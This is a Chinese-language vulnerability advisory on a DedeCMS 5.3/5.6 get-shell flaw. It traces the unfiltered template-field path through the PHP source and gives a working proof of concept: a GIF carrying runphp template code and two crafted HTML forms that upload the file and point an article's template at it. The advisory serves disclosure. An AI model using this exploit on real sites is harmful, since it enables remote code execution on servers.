DEDECMS网站管理系统Get Shell漏洞
- 发表于
- Vulndb
发布时间:2010-08-18
影响版本:DEDECMS 5.3/5.6
漏洞描述:
DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。
article_add.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
else if($dopost=='save') { include(DEDEMEMBER.'/inc/archives_check.php'); //分析处理附加表数据 $inadd_f = $inadd_v = ''; if(!empty($dede_addonfields)) { $addonfields = explode(';',$dede_addonfields); ............................................ //省略部份代码 $inadd_f .= ','.$vs[0]; $inadd_v .= " ,'".${$vs[0]}."' "; } } } .......................................... $addtable = trim($cInfos['addtable']); if(empty($addtable)) { ...................................... } else { $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})"; if(!$dsql->ExecuteNoneQuery($inquery)) { .......................................... } } .......................................... $artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定义) function MakeArt($aid,$ismakesign=false) { global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style; include_once(DEDEINC.'/arc.archives.class.php'); if($ismakesign) { $envs['makesign'] = 'yes'; } $arc = new Archives($aid); $reurl = $arc->MakeHtml(); //arc.archives.class.php有定义 ............................ } arc.archives.class.php class Archives { ................ function __construct($aid) { ............ if($this->ChannelUnit->ChannelInfos['addtable']!='') { $query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'"; $this->addTableRow = $this->dsql->GetOne($query); } ........................ if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1) { if(is_array($this->addTableRow)) { ............................... $this->Fields['templet'] = $this->addTableRow['templet'];//注意1 ...................................... } } ............................. } function MakeHtml($isremote=0) { global $cfg_remote_site,$fileFirst; if($this->IsError) { return ''; } $this->Fields["displaytype"] = "st"; //预编译$th $this->LoadTemplet(); //触发1 ......................................//省略部份代码 $this->ParseDMFields($i,1); $this->dtp->SaveTo($truefilename); //触发2 ...................................... } 继续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有定义 function LoadTemplet() { if($this->TempSource=='') { $tempfile = $this->GetTempletFile(); //注意2 if(!file_exists($tempfile) || !is_file($tempfile)) { echo "文档ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}<br />"; echo "模板文件不存在,无法解析文档!"; exit(); } $this->dtp->LoadTemplate($tempfile); //触发3 $this->TempSource = $this->dtp->SourceString; } else { $this->dtp->LoadSource($this->TempSource); } } |
看注意2 的$this->GetTempletFile() //arc.archives.class.php有定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
function GetTempletFile() { global $cfg_basedir,$cfg_templets_dir,$cfg_df_style; $cid = $this->ChannelUnit->ChannelInfos['nid']; if(!empty($this->Fields['templet'])) //注意3 { $filetag = MfTemplet($this->Fields['templet']); if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag; } else { $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]); } ....................................... if($cid=='spec') { if( !empty($this->Fields['templet']) ) { $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag; } else { $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm"; } } ........................................... return $tmpfile; } |
注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞
看下怎么控制注意1的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
article_edit.php ...................... else if($dopost=='save') { .................... if(!empty($dede_addonfields)) { $addonfields = explode(';',$dede_addonfields); if(is_array($addonfields)) { ........................ ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid); $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' "; } } ................... if($addtable!='') { $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' "; if(!$dsql->ExecuteNoneQuery($upQuery)) {.............. } } .................... } |
$dede_addonfields没有过滤,我们可以构造$inadd_f为,templet='上传的模板图片地址',包含我们的图片后,再通过触发2来生成图片里的后门!
测试方法:
1 2 3 |
Gif89a{dede:field name='toby57' runphp='yes'} phpinfo(); {/dede:field} |
保存为1.gif
1 2 3 4 5 6 7 8 9 10 |
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="aid" value="7"/> <input type="hidden" name="mediatype" value="1"/> <input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif"/></br> <input type="hidden" name="dopost" value="save"/> <input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/> <input name="addonfile" type="file" id="addonfile"/> <button class="button2" type="submit">更改</button> </form> |
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
发表文章,然后构造修改表单如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="dopost" value="save"/> <input type="hidden" name="aid" value="2"/> <input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd"/> <input type="hidden" name="channelid" value="1"/> <input type="hidden" name="oldlitpic" value=""/><input type="hidden" name="sortrank" value="1282049150"/> <input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/> <input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/> <select name='typeid' size='1'> <option value='1' class='option3' selected=''>Test</option> <select name='mtypesid' size='1'> <option value='0' selected>请选择分类...</option> <option value='1' class='option3' selected>aa</option> </select> <textarea name="description" id="description">aaaaaaaaaaaaa</textarea> <input type='hidden' name='dede_addonfields' value="templet"> <input type='hidden' name='templet' value="../uploads/userup/3/1.gif"> <input type="hidden" id="body" name="body" value="aaaa" style="display:none"/> <button class="button2" type="submit">提交</button> </select> </form> |
安全建议:
厂商补丁:
DEDECMS
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dedecms.com/
原文连接:DEDECMS网站管理系统Get Shell漏洞
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。